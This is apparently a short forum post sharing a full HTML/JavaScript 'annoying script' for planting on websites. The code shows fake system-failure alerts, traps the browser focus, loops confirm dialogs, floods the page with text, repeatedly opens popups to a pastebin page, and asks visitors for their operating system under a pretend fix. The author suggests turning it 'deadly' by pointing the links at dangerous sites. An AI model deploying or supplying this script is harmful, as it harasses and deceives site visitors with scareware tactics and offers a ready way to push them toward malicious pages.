JVS more annoying script.

JVS more annyoing script, apply-able for all websites.If you wanna know how to use it check out my previous post.
Remember, this is supposed to be annoying script, not dangerous.You can turn this into deadly script by changing all pastebin links into links of different-dangerous websites.

<!DOCTYPE html>
<html>
<head>
      <script>
        alert("FATAL ERROR");
        window.onblur=self.focus;
        var box;
        browser_audit=navigator.appName;
          setInterval(function changecolor(){
          var image=Math.floor(Math.random()*2);
           if(image == 1){
             document.bgColor="red";
             document.write("ERROR " + "\n");
           }
           if(image == 0){
             document.bgColor="blue";
             document.write("702" + "\n");
           }
          },500);
         setInterval(function first(){
         var first_number=Math.floor(Math.random()*10);
          box=confirm("Hello, Press OK to proceed or CLOSE to leave:");
           if(box == false && first_number !=7 && first_number !=5){
            document.body.style.backgroundColor="red";
            document.body.contentEditable="true";
            document.DesignMode="on";
            document.write("<h1>ERROR SITE</h1>");
            second();
            for(c=0;c<=150;c++){
              document.write(" Sorry " + "\n" + " Sorry ");
              }
             }
             if(box == false && (first_number == 7 || first_number == 5)){
              location.reload(true);
            }
            if(box == true && first_number > 2){
              document.body.contentEditable="true";
              document.DesignMode="on";
              alert("UNAVAILABLE");
              alert(browser_audit + " SERVICE DOWN");
              alert("ERROR 505- SYSTEM FAILURE");
            }
            if(box == true && first_number < 2){
              alert("CORE DATA FAILURE");
                for(c=0;c<=10;c++){
                window.open();
              }
             }
            },5000);
           function second(){
           var second_number=Math.floor(Math.random()*10);
             if(second_number > 5 && box == false){
               for(c=0;c<=150;c++){
               document.write(" FATAL ERROR " + "\n" + " FATAL ERROR ");
              }
             }
             if(second_number < 5 && box == false){
               for(c=0;c<=150;c++){
               document.write(" SERVER DOWN " + "\n" + " SERVER DOWN ");
              }
             }
            }
           setInterval(function third(){
            for(c=0;c<=20;c++){
             window.open("http://pastebin.com/u/NoNameCracksInc");
             window.status="SERVER SHUTDOWN";
             return false;
            }
            op_system=prompt("Enter name of your operating system, so we can fix your problem:");
            alert(op_system + " FAILED TO LOAD");
            alert(browser_audit + " CRASH");
           },1);
            first();
            third();
          </script>
</head>
<body>
<body onLoad="window.open('http://pastebin.com/u/NoNameCracksInc');" background="http://veryveryfun.com/pics/Sky-HD-Wallpapers/Big/Sky-HD-Wallpapers-5.jpg" return false;>
</body>
</html>